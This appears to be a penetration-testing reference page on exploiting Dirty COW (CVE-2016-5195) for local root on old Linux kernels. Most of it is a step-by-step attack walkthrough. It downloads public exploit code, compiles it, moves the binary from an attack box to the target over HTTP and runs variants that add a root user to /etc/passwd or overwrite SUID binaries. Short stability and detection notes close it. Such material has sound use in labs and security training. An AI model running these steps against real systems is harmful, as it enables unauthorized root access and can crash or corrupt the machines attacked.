# Dirty COW (CVE-2016-5195) – Legacy Kernel Privilege Escalation

> Race condition in Linux kernel's copy-on-write mechanism allows local attackers to gain root privileges by writing to read-only memory mappings.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/dirty-cow-cve-2016-5195
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-10

Dirty COW is a race condition in the Linux kernel's copy-on-write implementation for memory-mapped files. An unprivileged user can exploit it to write to read-only file-backed memory mappings: including `/etc/passwd` and SUID binaries: without any special permissions. It affects a vast range of kernels from 2009 to 2016 and is the most widely encountered legacy kernel exploit in older CTF and lab environments.

## Affected Versions

- Linux kernel 2.6.22 through 4.8.3
- Patched in: 4.8.3, 4.7.9, 4.4.26

**Not affected:** kernels 4.8.4 and above, modern distributions with kernel 5.x+.

For modern kernels (5.8+), use Dirty Pipe instead: see [https://hackindex.io/platforms/linux/privilege-escalation/dirty-pipe-cve-2022-0847](https://hackindex.io/platforms/linux/privilege-escalation/dirty-pipe-cve-2022-0847).

## Prerequisites Check

Check kernel version:

```bash
uname -r
# Vulnerable: 2.6.22 - 4.8.3
```

Check architecture: most PoCs are x86_64, some have ARM variants:

```bash
uname -m
arch
```

Confirm there is a readable file to target (any SUID binary or `/etc/passwd`):

```bash
ls -la /etc/passwd
find / -perm -u=s -type f 2>/dev/null | head -5
```

## Exploit 1: /etc/passwd Overwrite (dirtycow-mem)

The most stable Dirty COW variant. Overwrites the password field of root in `/etc/passwd` to add a new root user with a known password.

**Step 1: Get the exploit:**

```bash
# On attack box
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
gcc -pthread -o dirty dirty.c -lcrypt

# Transfer to target
python3 -m http.server 8080
```

```bash
# On target
wget http://$LHOST:8080/dirty
chmod +x dirty
```

**Step 2: Run the exploit:**

```bash
./dirty
```

Or with a custom password:

```bash
./dirty yournewpassword
```

The exploit adds a user `firefart` with root UID (0) to `/etc/passwd`. The default password is `firefart`.

**Step 3: Authenticate:**

```bash
su firefart
# Password: firefart (or your custom password)
whoami
# root
```

**Step 4: Restore /etc/passwd:**

The exploit saves a backup as `/tmp/passwd.bak`. After escalating, restore it:

```bash
cp /tmp/passwd.bak /etc/passwd
```

## Exploit 2: SUID Binary Patching (cowroot)

Overwrites a SUID binary with shellcode. More aggressive: use only if the `/etc/passwd` variant fails.

```bash
# Download
wget https://raw.githubusercontent.com/exrienz/DirtyCow/master/cowroot.c
gcc -pthread -o cowroot cowroot.c

# Specify the SUID binary to overwrite
./cowroot /usr/bin/passwd
```

## Exploit 3: /proc/self/mem Variant (pokemon)

An older variant using `/proc/self/mem` to write directly to a read-only mapping. Less stable but works on some kernel configurations where other variants fail:

```bash
wget https://www.exploit-db.com/raw/40839 -O pokemon.c
gcc -pthread -o pokemon pokemon.c -lcrypt
./pokemon
su firefart
```

## Compile on Target Without gcc

If gcc is unavailable on the target, compile on your attack box. Match the target architecture:

```bash
# For x86_64 target
gcc -pthread -o dirty dirty.c -lcrypt

# For 32-bit target (compile on 64-bit attack box)
gcc -m32 -pthread -o dirty dirty.c -lcrypt

# Static compile to avoid libc dependency issues
gcc -pthread -static -o dirty dirty.c -lcrypt
```

Transfer the compiled binary: see [https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools](https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools) for transfer methods.

## Stability Notes

Dirty COW can cause kernel crashes on some systems: it is a race condition and not every run will succeed cleanly. Signs of an unstable run:

- The process hangs: kill it with Ctrl+C and try again
- System becomes unresponsive: the race may have corrupted memory, reboot is needed
- `su firefart` fails: the write may not have completed, run again

Run 2-3 times if the first attempt does not work. On stable targets (most lab VMs), it succeeds within 1-3 attempts.

## Detection

Dirty COW exploitation is detectable in kernel logs:

```bash
dmesg | grep -i "dirty\|cow\|ptrace"
```

On modern monitoring systems, the `/proc/self/mem` write pattern and the race condition trigger are logged. In lab environments this is rarely monitored but worth noting in real assessments.

Related

## References

- [Dirty COW](https://dirtycow.ninja/) - Official CVE Site Vulnerability description, affected versions, and patch information.
- [dirtycow](https://github.com/firefart/dirtycow) - firefart /etc/passwd overwrite variant with automatic restoration.
- [Dirty COW](https://www.exploit-db.com/exploits/40839) - Exploit-DB Alternative /proc/self/mem variant with SUID shell approach.
